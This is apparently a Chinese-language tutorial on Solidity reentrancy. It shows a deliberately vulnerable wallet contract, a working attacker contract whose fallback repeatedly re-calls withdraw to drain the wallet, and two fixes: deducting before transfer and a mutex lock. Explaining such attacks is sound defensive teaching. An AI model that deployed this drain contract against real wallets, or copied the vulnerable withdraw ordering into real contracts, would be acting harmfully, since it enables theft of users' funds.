solidity 执行是单线程事务执行的,所以没有并发也就没有了竞态,所以怎么可以进行重入攻击呢?
如下所示代码,警告⚠️:下面代码有严重bug!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pragma solidity ^0.7.0;
interface IWallet { function deposit() external payable; function withdraw(uint _amount) external; function balanceOf(address _address) external view returns (uint256); }
contract Victim is IWallet { mapping(address => uint256) public balances;
function deposit() public payable override { balances[msg.sender] += msg.value; }
function balanceOf(address _address) public view override returns (uint256){ return balances[_address]; } function withdraw(uint _amount) public override { require(balances[msg.sender] >= _amount); (bool success,) = msg.sender.call{value: _amount}(new bytes(0)); require(success); balances[msg.sender] -= _amount; } }
|
这是一个钱包,之前存取,看起没有什么问题,但是如果我们withdraw发送到一个合约里面,我们可以利用合约重新调用 withdraw 就可以耗尽钱包里所有的钱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| contract Hacker { address payable public owner; IWallet public wallet;
constructor (IWallet _wallet) { owner = msg.sender; wallet = _wallet; }
function deposit() public payable { wallet.deposit{value: msg.value}(); } function withdraw() public payable { require(msg.sender == owner); wallet.withdraw(wallet.balanceOf(address(this))); }
fallback() external payable { if (msg.sender == address(wallet)){ uint balance = wallet.balanceOf(address(this)); if (msg.sender.balance >= balance){ wallet.withdraw(balance); } } }
function flush() public { require(msg.sender == owner); selfdestruct(owner); } }
|
问题出在哪里?Victim.withdraw 仅开始检查了余额,然后最后才扣减余额,那么我们就可以再目标合约 fallback 里面重新调用 Victim.withdraw 直到耗尽合约内的钱。
不仅如此,耗尽之后,调用栈结束后没有检查溢出,Hacker 合约的钱凭空变的更多!
1
| balances[msg.sender] -= _amount;
|
最简单的解决方式是校验完余额然后立即扣减余额,这样重入的时候余额就不会检查失败。
1 2 3 4 5 6
| function withdraw(uint _amount) public override { require(balances[msg.sender] >= _amount); balances[msg.sender] -= _amount; // 转账之前进行扣减 (bool success,) = msg.sender.call{value: _amount}(new bytes(0)); require(success); }
|
除此之外,我们可以设计锁机制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| contract Victim is IWallet { mapping(address => uint256) public balances; bool private locked; modifier Mutex { require(!locked, "locked!"); locked = true; _; locked = false; }
function withdraw(uint _amount) public override Mutex { require(balances[msg.sender] >= _amount); balances[msg.sender] -= _amount; (bool success,) = msg.sender.call{value: _amount}(new bytes(0)); require(success); } }
|